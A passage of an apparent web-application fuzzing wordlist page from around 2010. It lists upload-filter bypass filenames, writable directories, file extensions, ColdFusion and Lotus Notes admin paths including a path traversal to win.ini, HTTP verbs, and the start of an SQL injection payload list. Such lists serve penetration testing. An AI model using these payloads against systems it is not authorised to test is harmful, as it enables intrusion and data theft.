{PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 